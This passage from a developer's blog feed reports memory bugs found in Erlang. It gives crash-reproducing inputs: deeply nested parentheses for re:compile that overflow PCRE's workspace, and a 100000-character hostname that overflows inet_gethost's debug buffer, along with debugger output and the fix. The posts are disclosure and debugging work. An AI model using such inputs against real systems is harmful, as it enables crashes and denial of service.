-smp&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;After reading through the source code and adding a few printf's, I tracked the bug down to an &lt;a href="http://bugs.exim.org/show_bug.cgi?id=962"&gt;incorrect test&lt;/a&gt; in PCRE. The magic number (819) apparently comes from:&lt;br /&gt;&lt;pre class="Code"&gt;&lt;span class="Constant"&gt;819&lt;/span&gt; x &lt;span class="Constant"&gt;5&lt;/span&gt; bytes &lt;span class="PreProc"&gt;(&lt;/span&gt;&lt;span class="Special"&gt;capturing bracket&lt;/span&gt;&lt;span class="PreProc"&gt;)&lt;/span&gt; + &lt;span class="Constant"&gt;3&lt;/span&gt; bytes &lt;span class="PreProc"&gt;(&lt;/span&gt;&lt;span class="Special"&gt;opening bracket&lt;/span&gt;&lt;span class="PreProc"&gt;)&lt;/span&gt; &lt;span class="Statement"&gt;=&lt;/span&gt; &lt;span class="Constant"&gt;4098&lt;/span&gt; bytes&lt;br /&gt;&lt;/pre&gt;The compile workspace is 4096 bytes, so there is a 2 byte overflow. Well, today Phillip Hazel, the author of PCRE, corrected the bug. Awesome!! Thanks, Phillip!&lt;br /&gt;So here I am making the world safer one bug at a time, preparing a patch for Erlang. Except when I went to test the fix on Mac OS X, beam crashed. Ouch. This time:&lt;br /&gt;&lt;pre class="Code"&gt;&lt;span class="Comment"&gt;% works!&lt;/span&gt;&lt;br /&gt;N &lt;span class="Statement"&gt;=&lt;/span&gt; &lt;span class="Constant"&gt;611&lt;/span&gt;,&lt;br /&gt;&lt;span class="Identifier"&gt;re:compile&lt;/span&gt;([&lt;span class="Identifier"&gt;lists:duplicate&lt;/span&gt;(N, $(), &lt;span class="Identifier"&gt;lists:duplicate&lt;/span&gt;(N, $))])&lt;span class="Special"&gt;.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class="Comment"&gt;% booo! crashes!!&lt;/span&gt;&lt;br /&gt;N &lt;span class="Statement"&gt;=&lt;/span&gt; &lt;span class="Constant"&gt;612&lt;/span&gt;,&lt;br /&gt;&lt;span class="Identifier"&gt;re:compile&lt;/span&gt;([&lt;span class="Identifier"&gt;lists:duplicate&lt;/span&gt;(N, $(), &lt;span class="Identifier"&gt;lists:duplicate&lt;/span&gt;(N, $))])&lt;span class="Special"&gt;.&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;&lt;pre class="Code"&gt;Program received signal EXC_BAD_ACCESS, Could not access memory.&lt;br /&gt;&lt;span class="Statement"&gt;Reason&lt;/span&gt;: KERN_PROTECTION_FAILURE at address: &lt;span class="Constant"&gt;0xb014effc&lt;/span&gt;&lt;br /&gt;[Switching to process &lt;span class="Constant"&gt;3601&lt;/span&gt;]&lt;br /&gt;&lt;span class="Constant"&gt;0x001c04e4&lt;/span&gt; in compile_branch (optionsptr=&lt;span class="Constant"&gt;0x0&lt;/span&gt;, codeptr=&lt;span class="Constant"&gt;0x0&lt;/span&gt;, ptrptr=&lt;span class="Constant"&gt;0x0&lt;/span&gt;, errorcodeptr=&lt;span class="Constant"&gt;0x0&lt;/span&gt;, firstbyteptr=&lt;span class="Constant"&gt;0x0&lt;/span&gt;, reqbyteptr=&lt;span class="Constant"&gt;0x0&lt;/span&gt;, bcptr=&lt;span class="Constant"&gt;0x0&lt;/span&gt;, cd=&lt;span class="Constant"&gt;0x0&lt;/span&gt;\&lt;br /&gt;        , lengthptr=&lt;span class="Constant"&gt;0x0&lt;/span&gt;) at pcre_compile.c:&lt;span class="Constant"&gt;2355&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;Except, beam didn't crash when running inside gdb. I figured out the debug beam was non-smp and, after compiling a debug smp version, I got the longest backtrace EVAH.&lt;br /&gt;&lt;script src="http://gist.github.com/327028.js?file=smp.erl"&gt;&lt;/script&gt;&lt;br /&gt;Yet the same code works with an SMP Erlang on Solaris.&lt;br /&gt;Blah, debugging threaded code is a pain. If someday, someone figures out how to do something malicious with this, please send me a postcard from whatever island retreat you've purchased with all your stolen credit cards or DoS extortions.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8577871288924093307-4266842448759590921?l=blog.listincomprehension.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.listincomprehension.com/feeds/4266842448759590921/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://blog.listincomprehension.com/2010/03/when-bugs-have-bugs.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8577871288924093307/posts/default/4266842448759590921'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8577871288924093307/posts/default/4266842448759590921'/><link rel='alternate' type='text/html' href='http://blog.listincomprehension.com/2010/03/when-bugs-have-bugs.html' title='When the Bugs Have Bugs'/><author><name>Michael Santos</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8577871288924093307.post-4682898507140158471</id><published>2010-02-15T13:48:00.000-05:00</published><updated>2010-05-31T17:04:50.271-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='C'/><category scheme='http://www.blogger.com/atom/ns#' term='DNS'/><category scheme='http://www.blogger.com/atom/ns#' term='buffer overflow'/><category scheme='http://www.blogger.com/atom/ns#' term='erlang'/><category scheme='http://www.blogger.com/atom/ns#' term='debug'/><category scheme='http://www.blogger.com/atom/ns#' term='security'/><title type='text'>Erlang and Excessively Long Hostnames</title><content type='html'>I've been reading through the Erlang source code, trying to get familiar with it and looking for small bugs.  &lt;br /&gt;inet_gethost is a port that handles name lookups. The &lt;a href="http://github.com/erlang/otp/blob/ccase/r13b04_dev/erts/etc/common/inet_gethost.c"&gt;source code&lt;/a&gt; for it is in:&lt;br /&gt;&lt;pre class="Code"&gt;$ERL_TOP&lt;span class="Statement"&gt;/&lt;/span&gt;erts&lt;span class="Statement"&gt;/&lt;/span&gt;etc&lt;span class="Statement"&gt;/&lt;/span&gt;common&lt;span class="Statement"&gt;/&lt;/span&gt;inet_gethost&lt;span class="Special"&gt;.&lt;/span&gt;c&lt;br /&gt;&lt;/pre&gt;inet_gethost is suprisingly complicated, mainly because of portability concerns and probably due to age as well (the code looks to be about 10+ years old). inet_gethost works by starting up a master process that forks a pool of slave processes and waits for data coming from stdin.  When it reads a packet from the Erlang side, it sends the data to the slave over a pipe. The slave does a gethostbyname() (or the IPv6 equivalents), blocking in the lookup, then writes the response.&lt;br /&gt;Setting the environment variable "ERL_INET_GETHOST_DEBUG" will print out some extra debug messages. The values in the code range from 0 (debug disabled) to 5:&lt;br /&gt;&lt;pre class="Code"&gt;export ERL_INET_GETHOST_DEBUG&lt;span class="Statement"&gt;=&lt;/span&gt;&lt;span class="Constant"&gt;5&lt;/span&gt;&lt;br /&gt;erl&lt;br /&gt;&lt;/pre&gt;To test how inet_gethost handles some simple edge cases, we run the following:&lt;br /&gt;&lt;pre class="Code"&gt;&lt;span class="Constant"&gt;1&lt;/span&gt;&lt;span class="Statement"&gt;&amp;gt;&lt;/span&gt; &lt;span class="Identifier"&gt;inet:gethostbyname&lt;/span&gt;(&lt;span class="Identifier"&gt;lists:duplicate&lt;/span&gt;(&lt;span class="Constant"&gt;3&lt;/span&gt;,&lt;span class="Constant"&gt;&amp;quot;n&amp;quot;&lt;/span&gt;))&lt;span class="Special"&gt;.&lt;/span&gt;&lt;br /&gt;inet_gethost[&lt;span class="Constant"&gt;4924&lt;/span&gt;] (DEBUG)&lt;span class="Special"&gt;:&lt;/span&gt;Saved domainname &lt;span class="Special"&gt;.&lt;/span&gt;&lt;br /&gt;inet_gethost[&lt;span class="Constant"&gt;4924&lt;/span&gt;] (DEBUG)&lt;span class="Special"&gt;:&lt;/span&gt;Created worker[&lt;span class="Constant"&gt;4925&lt;/span&gt;] with fd &lt;span class="Constant"&gt;3&lt;/span&gt;&lt;br /&gt;inet_gethost[&lt;span class="Constant"&gt;4924&lt;/span&gt;] (DEBUG)&lt;span class="Special"&gt;:&lt;/span&gt;Saved domainname &lt;span class="Special"&gt;.&lt;/span&gt;&lt;br /&gt;inet_gethost[&lt;span class="Constant"&gt;4925&lt;/span&gt;] (DEBUG)&lt;span class="Special"&gt;:&lt;/span&gt;Worker got request, op &lt;span class="Statement"&gt;=&lt;/span&gt; &lt;span class="Constant"&gt;1&lt;/span&gt;, proto &lt;span class="Statement"&gt;=&lt;/span&gt; &lt;span class="Constant"&gt;1&lt;/span&gt;, data &lt;span class="Statement"&gt;=&lt;/span&gt; nnn&lt;span class="Special"&gt;.&lt;/span&gt;&lt;br /&gt;inet_gethost[&lt;span class="Constant"&gt;4925&lt;/span&gt;] (DEBUG)&lt;span class="Special"&gt;:&lt;/span&gt;Starting gethostbyname(nnn)&lt;br /&gt;inet_gethost[&lt;span class="Constant"&gt;4925&lt;/span&gt;] (DEBUG)&lt;span class="Special"&gt;:&lt;/span&gt;gethostbyname error &lt;span class="Constant"&gt;1&lt;/span&gt;&lt;br /&gt;{error,nxdomain}&lt;br /&gt;&lt;/pre&gt;Increasing the number of characters in the domain name reveals something interesting:&lt;br /&gt;&lt;pre class="Code"&gt;&lt;span class="Constant"&gt;4&lt;/span&gt;&lt;span class="Statement"&gt;&amp;gt;&lt;/span&gt; &lt;span class="Identifier"&gt;inet:gethostbyname&lt;/span&gt;(&lt;span class="Identifier"&gt;lists:duplicate&lt;/span&gt;(&lt;span class="Constant"&gt;100000&lt;/span&gt;,&lt;span class="Constant"&gt;&amp;quot;n&amp;quot;&lt;/span&gt;))&lt;span class="Special"&gt;.&lt;/span&gt;&lt;br /&gt;inet_gethost[&lt;span class="Constant"&gt;4924&lt;/span&gt;] (DEBUG)&lt;span class="Special"&gt;:&lt;/span&gt;Saved domainname &lt;span class="Special"&gt;.&lt;/span&gt;&lt;br /&gt;inet_gethost[&lt;span class="Constant"&gt;4924&lt;/span&gt;] (DEBUG)&lt;span class="Special"&gt;:&lt;/span&gt;Saved domainname &lt;span class="Special"&gt;.&lt;/span&gt;&lt;br /&gt;inet_gethost[&lt;span class="Constant"&gt;4924&lt;/span&gt;] (DEBUG)&lt;span class="Special"&gt;:&lt;/span&gt;&lt;span class="Identifier"&gt;reap_children: res&lt;/span&gt; &lt;span class="Statement"&gt;=&lt;/span&gt; &lt;span class="Statement"&gt;-&lt;/span&gt;&lt;span class="Constant"&gt;1&lt;/span&gt;, errno &lt;span class="Statement"&gt;=&lt;/span&gt; &lt;span class="Constant"&gt;10&lt;/span&gt;&lt;span class="Special"&gt;.&lt;/span&gt;&lt;br /&gt;inet_gethost[&lt;span class="Constant"&gt;4924&lt;/span&gt;] (DEBUG)&lt;span class="Special"&gt;:&lt;/span&gt;End &lt;span class="Statement"&gt;of&lt;/span&gt; file while reading from pipe&lt;span class="Special"&gt;.&lt;/span&gt;&lt;br /&gt;inet_gethost[&lt;span class="Constant"&gt;4924&lt;/span&gt;]&lt;span class="Special"&gt;:&lt;/span&gt; &lt;span class="Identifier"&gt;WARNING:Malformed&lt;/span&gt; reply (header) from worker &lt;span class="Identifier"&gt;process&lt;/span&gt; &lt;span class="Constant"&gt;4925&lt;/span&gt;&lt;span class="Special"&gt;.&lt;/span&gt;&lt;br /&gt;inet_gethost[&lt;span class="Constant"&gt;4924&lt;/span&gt;] (DEBUG)&lt;span class="Special"&gt;:&lt;/span&gt;Killing worker[&lt;span class="Constant"&gt;4925&lt;/span&gt;] with fd &lt;span class="Constant"&gt;3&lt;/span&gt;, serial &lt;span class="Constant"&gt;4&lt;/span&gt;&lt;br /&gt;{error,timeout}&lt;br /&gt;&lt;/pre&gt;On Mac OS X, the CPU usage for inet_gethost shoots up as well.&lt;br /&gt;The weird error ("Malformed reply ...") happens because the slave process crashes. If you look at the two outputs, the error message that should be displayed after "Saved domainname." ("Worker got request ...") is never printed. That's because of an overflow that happens when the debug output is printed (buff is only 2048 bytes):&lt;br /&gt;&lt;pre class="Code"&gt;&lt;span class="Type"&gt;static&lt;/span&gt; &lt;span class="Type"&gt;void&lt;/span&gt; debugf(&lt;span class="Type"&gt;char&lt;/span&gt; *format, ...)&lt;br /&gt;{&lt;br /&gt;    &lt;span class="Type"&gt;char&lt;/span&gt; buff[&lt;span class="Constant"&gt;2048&lt;/span&gt;];&lt;br /&gt;    &lt;span class="Type"&gt;char&lt;/span&gt; *ptr;&lt;br /&gt;    &lt;span class="Type"&gt;va_list&lt;/span&gt; ap;&lt;br /&gt;&lt;br /&gt;    va_start(ap,format);&lt;br /&gt;    sprintf(buff,&lt;span class="Constant"&gt;&amp;quot;&lt;/span&gt;&lt;span class="Special"&gt;%s&lt;/span&gt;&lt;span class="Constant"&gt;[&lt;/span&gt;&lt;span class="Special"&gt;%d&lt;/span&gt;&lt;span class="Constant"&gt;] (DEBUG):&amp;quot;&lt;/span&gt;,program_name,(&lt;span class="Type"&gt;int&lt;/span&gt;) getpid());&lt;br /&gt;    ptr = buff + strlen(buff);&lt;br /&gt;    vsprintf(ptr,format,ap);&lt;br /&gt;    strcat(ptr,&lt;span class="Constant"&gt;&amp;quot;&lt;/span&gt;&lt;span class="Special"&gt;\r\n&lt;/span&gt;&lt;span class="Constant"&gt;&amp;quot;&lt;/span&gt;);&lt;br /&gt;    write(&lt;span class="Constant"&gt;2&lt;/span&gt;,buff,strlen(buff));&lt;br /&gt;    va_end(ap);&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;Replacing vsprintf() with vsnprintf() fixes that bug, but inet_gethost will still crash on Mac OS X Snow Leopard.&lt;br /&gt;Writing a small program to call gethostbyname() on Mac OS X proves it is not an Erlang bug:&lt;br /&gt;&lt;script src="http://gist.github.com/304825.js?file=gho.c"&gt;&lt;/script&gt;&lt;br /&gt;Looks like a bug in gethostbyname() on Mac OS X Snow Leopard, while doing a multicast DNS lookup:&lt;br /&gt;&lt;pre code="Class"&gt;Feb 15 12:42:48 ack mDNSResponder[18]:  77: ERROR: read_msg - hdr.datalen 70001 (11171) &amp;gt; 70000&lt;br /&gt;Feb 15 12:42:48 ack ./gho[4852]: dnssd_clientstub write_all(4) failed -1/70028 32 Broken pipe&lt;br /&gt;Feb 15 12:42:48 ack ./gho[4852]: dnssd_clientstub deliver_request ERROR: write_all(4, 70028 bytes) failed&lt;br /&gt;Feb 15 12:42:48 ack ./gho[4852]: dnssd_clientstub write_all(4) failed -1/28 32 Broken pipe&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8577871288924093307-4682898507140158471?l=blog.listincomprehension.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.listincomprehension.com/feeds/4682898507140158471/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://blog.listincomprehension.com/2010/02/erlang-and-excessively-long-hostnames.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8577871288924093307/posts/default/4682898507140158471'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8577871288924093307/posts/default/4682898507140158471'/><link rel='alternate' type='text/html' href='http://blog.listincomprehension.com/2010/02/erlang-and-excessively-long-hostnames.html' title='Erlang and Excessively Long Hostnames'/><author><name>Michael Santos</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8577871288924093307.post-5494883287249378547</id><published>2010-02-07T16:31:00.000-05:00</published><updated>2010-02-07T16:33:56.781-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='erlang'/><title type='text'>Erlang Ternary Operators</title><content type='html'>&lt;a href="http://tidier.softlab.ntua.gr/"&gt;tidier&lt;/a&gt; came up with a cool suggestion for some code. One of the case statements:&lt;br /&gt;&lt;pre class="Code"&gt;Valid &lt;span class="Statement"&gt;=&lt;/span&gt; &lt;span class="Statement"&gt;case&lt;/span&gt; makesum(Hdr) &lt;span class="Statement"&gt;of&lt;/span&gt;&lt;br /&gt;    &lt;span class="Constant"&gt;0&lt;/span&gt; &lt;span class="Statement"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="Statement"&gt;true&lt;/span&gt;;&lt;br /&gt;    _ &lt;span class="Statement"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="Statement"&gt;false&lt;/span&gt;&lt;br /&gt;&lt;span class="Statement"&gt;end&lt;/span&gt;,&lt;br /&gt;&lt;/pre&gt;was replaced with:&lt;br /&gt;&lt;pre class="Code"&gt;Valid &lt;span class="Statement"&gt;=&lt;/span&gt; makesum(Hdr) &lt;span class="Statement"&gt;=&lt;/span&gt;&lt;span class="Special"&gt;:&lt;/span&gt;&lt;span class="Statement"&gt;=&lt;/span&gt; &lt;span class="Constant"&gt;0&lt;/span&gt;,&lt;br /&gt;&lt;/pre&gt;Maybe it's succintness at the expense of readability but I liked it.&lt;br /&gt;Sometimes, when I'm programming in Erlang, I miss the C style &lt;a href="http://en.wikipedia.org/wiki/Ternary_operator"&gt;ternary operators&lt;/a&gt;. You know, the ones that look like this:&lt;br /&gt;&lt;pre class="Code"&gt;i = ( (i == &lt;span class="Constant"&gt;0&lt;/span&gt;) ? &lt;span class="Constant"&gt;1&lt;/span&gt; : &lt;span class="Constant"&gt;0&lt;/span&gt;);&lt;br /&gt;&lt;/pre&gt;It's an easy way of toggling between values. In Erlang, if you want to flip between true and false, you could write it as:&lt;br /&gt;&lt;pre class="Code"&gt;NewValue &lt;span class="Statement"&gt;=&lt;/span&gt; &lt;span class="Statement"&gt;case&lt;/span&gt; Value &lt;span class="Statement"&gt;of&lt;/span&gt;&lt;br /&gt;    &lt;span class="Statement"&gt;true&lt;/span&gt; &lt;span class="Statement"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="Statement"&gt;false&lt;/span&gt;;&lt;br /&gt;    &lt;span class="Statement"&gt;false&lt;/span&gt; &lt;span class="Statement"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="Statement"&gt;true&lt;/span&gt;&lt;br /&gt;&lt;span class="Statement"&gt;end&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;But the tidier way reveals a simpler version:&lt;br /&gt;&lt;pre class="Code"&gt;NewValue &lt;span class="Statement"&gt;=&lt;/span&gt; Value &lt;span class="Statement"&gt;=/=&lt;/span&gt; &lt;span class="Statement"&gt;true&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;The new version isn't semantically identical to the old version though.&lt;br /&gt;&lt;pre class="Code"&gt;&lt;span class="Statement"&gt;true&lt;/span&gt; &lt;span class="Statement"&gt;=&lt;/span&gt; foo &lt;span class="Statement"&gt;=/=&lt;/span&gt; &lt;span class="Statement"&gt;true&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;The old version would throw a case_clause exception if value were 'foo'. In both cases, the value of "Value" may already be controlled with guards, so it may be ok.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8577871288924093307-5494883287249378547?l=blog.listincomprehension.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.listincomprehension.com/feeds/5494883287249378547/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://blog.listincomprehension.com/2010/02/erlang-ternary-operators.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8577871288924093307/posts/default/5494883287249378547'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8577871288924093307/posts/default/5494883287249378547'/><link rel='alternate' type='text/html' href='http://blog.listincomprehension.com/2010/02/erlang-ternary-operators.html' title='Erlang Ternary Operators'/><author><name>Michael Santos</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8577871288924093307.post-2954210035428118886</id><published>2010-01-26T09:24:00.000-05:00</published><updated>2010-02-01T18:04:55.816-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='DNS'/><category scheme='http://www.blogger.com/atom/ns#' term='sods'/><title type='text'>SoDS and TXT Records</title><content type='html'>Sometimes the sods client (sdt) will return an error "Invalid base64 encoded packet". If run with the default options, sdt will use TXT records and it's likely that someone, in between you and the sods server, is re-writing the TXT records.&lt;br /&gt;&lt;br /&gt;In this particular case, it might be the DNS hosting service that I used for the test domain (GoDaddy) inserting an &lt;a href="http://en.wikipedia.org/wiki/Sender_Policy_Framework"&gt;SPF&lt;/a&gt; record. Thanks a bunch for that.&lt;br /&gt;&lt;br /&gt;But I've seen hotel networks where TXT records are MITM'ed, for some sort of nefarious Active Directory scheme.&lt;br /&gt;&lt;br /&gt;Anyway, the fix is to run sdt with the "-t" flag set to use NULL or CNAME records ("-t null" or "-t cname").&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8577871288924093307-2954210035428118886?l=blog.listincomprehension.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.listincomprehension.com/feeds/2954210035428118886/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://blog.listincomprehension.com/2010/01/sods-and-txt-records.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8577871288924093307/posts/default/2954210035428118886'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8577871288924093307/posts/default/2954210035428118886'/><link rel='alternate' type='text/html' href='http://blog.listincomprehension.com/2010/01/sods-and-txt-records.html' title='SoDS and TXT Records'/><author><name>Michael Santos</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8577871288924093307.post-5566199044845196742</id><published>2010-01-25T20:03:00.000-05:00</published><updated>2010-03-17T12:11:50.297-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='REST'/><category scheme='http://www.blogger.com/atom/ns#' term='erlang'/><title type='text'>wwallo is a tag cloud for where you are</title><content type='html'>&lt;a href="http://wwallo.com"&gt;wwallo&lt;/a&gt; uses the HTML5 geolocation capabilities of your browser to generate a tag cloud for wherever you are (or, at least, where it guesses you are). Right now, wwallo gathers data just by looking at &lt;a href="http://twitter.com/#search?q=twitter%20is%20useless"&gt;Twitter&lt;/a&gt;; in my experience that means your location is marked by people bitching about work and school, dropping the f-bomb, bragging about how drunk they've gotten or will get and trying to be clever (twitter "trends"). Also, celebrity gossip. Awesomeness. But maybe it's just where I live.&lt;br /&gt;&lt;br /&gt;So, beside the insight into that little slice of life outside your dark, linux infested man cave and creeping on the cute neighbourhood girls (not that I condone such behaviour, you perv o.O), what is wwallo useful for?  Aside from marvelling at the inaccuracy of Twitter's geographic data and meditating on the 504's resulting from their "RESTful" API?&lt;br /&gt;&lt;br /&gt;wwallo, like a lot of web applications nowadays, is just a bunch of (well, 2, sort of) RESTful interfaces exposed as an API that a Javascript application calls ("exposes" an API is sort of funny, teetering between jargon and a criminal warrant for indecent usage). The application, in this case, runs in a browser.&lt;br /&gt;&lt;br /&gt;Well, you can &lt;a href="http://github.com/msantos/wwallo"&gt;see for yourself&lt;/a&gt;. I'll wait.&lt;br /&gt;&lt;br /&gt;It's pretty simple, isn't it? None of the complications you've probably been dreading if you've worked with any enterprise web applications &amp;lt;cough&amp;gt;SOAP&amp;lt;cough&amp;gt;. The interfaces are simple and predictable, therefore safer. With many web apps, even the developer can't tell you all the paths for input and output of data (hence, the need for tools like &lt;a href="http://suif.stanford.edu/~livshits/work/lapse/"&gt;LAPSE&lt;/a&gt; in the Java world (BTW, check out the URL for LAPSE, that username is awesome and inspires, in me, just a bit of jealousy)).&lt;br /&gt;&lt;br /&gt;You can try out &lt;a href="http://wwallo.com/"&gt;wwallo&lt;/a&gt; yourself by visiting the &lt;a href="http://wwallo.com/"&gt;website&lt;/a&gt;. It's running on a test server for now but maybe someday it'll move to somewhere permanent.&lt;br /&gt;&lt;br /&gt;&lt;h1&gt;Using wwallo's RESTful Interface&lt;/h1&gt;&lt;br /&gt;If for some insane reason you want to integrate your web application with wwallo, it's simple. Given the user's location, use a GET request:&lt;br /&gt;&lt;pre class="Code"&gt;&lt;a href="http://wwallo.com/geocode/"&gt;http://wwallo.com/geocode/&lt;/a&gt;&lt;span class="Identifier"&gt;&amp;lt;&lt;/span&gt;lat&lt;span class="Identifier"&gt;&amp;gt;&lt;/span&gt;,&lt;span class="Identifier"&gt;&amp;lt;&lt;/span&gt;lon&lt;span class="Identifier"&gt;&amp;gt;&lt;/span&gt;,&lt;span class="Identifier"&gt;&amp;lt;&lt;/span&gt;radius&lt;span class="Identifier"&gt;&amp;gt;&lt;/span&gt;km&lt;br /&gt;&lt;/pre&gt;The radius must be in kilometers (don't even ask, just multiply by 1.6 already).&lt;br /&gt;&lt;br /&gt;If you don't know the user's location, you can call into wwallo using the following and wwallo will figure out the location by the IP address:&lt;br /&gt;&lt;pre class="Code"&gt;&lt;a href="http://wwallo.com/geocode/null,"&gt;http://wwallo.com/geocode/null,&lt;/a&gt;&lt;span class="Identifier"&gt;&amp;lt;&lt;/span&gt;radius&lt;span class="Identifier"&gt;&amp;gt;&lt;/span&gt;km&lt;br /&gt;&lt;/pre&gt;But if you're proxying the user's request from your service, well, you've just made a tag cloud for wherever your server, not your user, is.&lt;br /&gt;&lt;br /&gt;wwallo will return a JSON data structure. The beauty of &lt;a href="http://webmachine.basho.com/"&gt;webmachine&lt;/a&gt; is that it can, very simply, be made to return any presentation format; however, at the moment, wwallo only returns JSON.&lt;br /&gt;"pos" is the location based on your IP address. "address" is, obviously, the source IP address. "tweet", "author" and "image" are arrays, sharing a common offset. "count" contains each word, after processing through a stemming library.&lt;br /&gt;&lt;pre class="Code"&gt;&lt;span class="Identifier"&gt;{&lt;/span&gt;&lt;br /&gt;    &lt;span class="Constant"&gt;&amp;quot;pos&amp;quot;&lt;/span&gt;: &lt;span class="Constant"&gt;&amp;quot;45.000000,-69.500000,5km&amp;quot;&lt;/span&gt;,&lt;br /&gt;    &lt;span class="Constant"&gt;&amp;quot;address&amp;quot;&lt;/span&gt;: &lt;span class="Constant"&gt;&amp;quot;1.1.1.11&amp;quot;&lt;/span&gt;,&lt;br /&gt;    &lt;span class="Constant"&gt;&amp;quot;country&amp;quot;&lt;/span&gt;: &lt;span class="Constant"&gt;&amp;quot;Antartica&amp;quot;&lt;/span&gt;,&lt;br /&gt;    &lt;span class="Constant"&gt;&amp;quot;city&amp;quot;&lt;/span&gt;: &lt;span class="Constant"&gt;&amp;quot;Penguinistaville&amp;quot;&lt;/span&gt;,&lt;br /&gt;    &lt;span class="Constant"&gt;&amp;quot;tweet&amp;quot;&lt;/span&gt;: &lt;span class="Identifier"&gt;[&lt;/span&gt;&lt;br /&gt;        &lt;span class="Constant"&gt;&amp;quot;What am I going to spend my Saturdays doing now that college football is done??&amp;quot;&lt;/span&gt;,&lt;br /&gt;        &lt;span class="Constant"&gt;&amp;quot;@SI_PeterKing dick butkis still my fav name! &lt;a href="http://myloc.me/2KNBX"&gt;http://myloc.me/2KNBX&lt;/a&gt;&amp;quot;&lt;/span&gt;,&lt;br /&gt;        &lt;span class="Constant"&gt;&amp;quot;@SI_PeterKing I the ray guy sent u that tweet using a different name! Lol &lt;a href="http://myloc.me/2KNqq"&gt;http://myloc.me/2KNqq&lt;/a&gt;&amp;quot;&lt;/span&gt;,&lt;br /&gt;        &lt;span class="Constant"&gt;&amp;quot;I bought my 1st snow shovel today. Not really sure how I feel about that.&amp;quot;&lt;/span&gt;,&lt;br /&gt;    &lt;span class="Identifier"&gt;]&lt;/span&gt;,&lt;br /&gt;    &lt;span class="Constant"&gt;&amp;quot;author&amp;quot;&lt;/span&gt;: &lt;span class="Identifier"&gt;[&lt;/span&gt;&lt;br /&gt;        &lt;span class="Constant"&gt;&amp;quot;clint_on_barley&amp;quot;&lt;/span&gt;,&lt;br /&gt;        &lt;span class="Constant"&gt;&amp;quot;Botha420&amp;quot;&lt;/span&gt;,&lt;br /&gt;        &lt;span class="Constant"&gt;&amp;quot;Botha420&amp;quot;&lt;/span&gt;,&lt;br /&gt;        &lt;span class="Constant"&gt;&amp;quot;clint_on_barley&amp;quot;&lt;/span&gt;,&lt;br /&gt;    &lt;span class="Identifier"&gt;]&lt;/span&gt;,&lt;br /&gt;    &lt;span class="Constant"&gt;&amp;quot;image&amp;quot;&lt;/span&gt;: &lt;span class="Identifier"&gt;[&lt;/span&gt;&lt;br /&gt;        &lt;span class="Constant"&gt;&amp;quot;&lt;a href="http://a1.twimg.com/profile_images/579214364/Photo_on_2009-11-23_at_10.20__5_normal.jpg"&gt;http://a1.twimg.com/profile_images/579214364/Photo_on_2009-11-23_at_10.20__5_normal.jpg&lt;/a&gt;&amp;quot;&lt;/span&gt;,&lt;br /&gt;        &lt;span class="Constant"&gt;&amp;quot;&lt;a href="http://a1.twimg.com/profile_images/280041192/1041_normal.gif"&gt;http://a1.twimg.com/profile_images/280041192/1041_normal.gif&lt;/a&gt;&amp;quot;&lt;/span&gt;,&lt;br /&gt;        &lt;span class="Constant"&gt;&amp;quot;&lt;a href="http://a1.twimg.com/profile_images/280041192/1041_normal.gif"&gt;http://a1.twimg.com/profile_images/280041192/1041_normal.gif&lt;/a&gt;&amp;quot;&lt;/span&gt;,&lt;br /&gt;        &lt;span 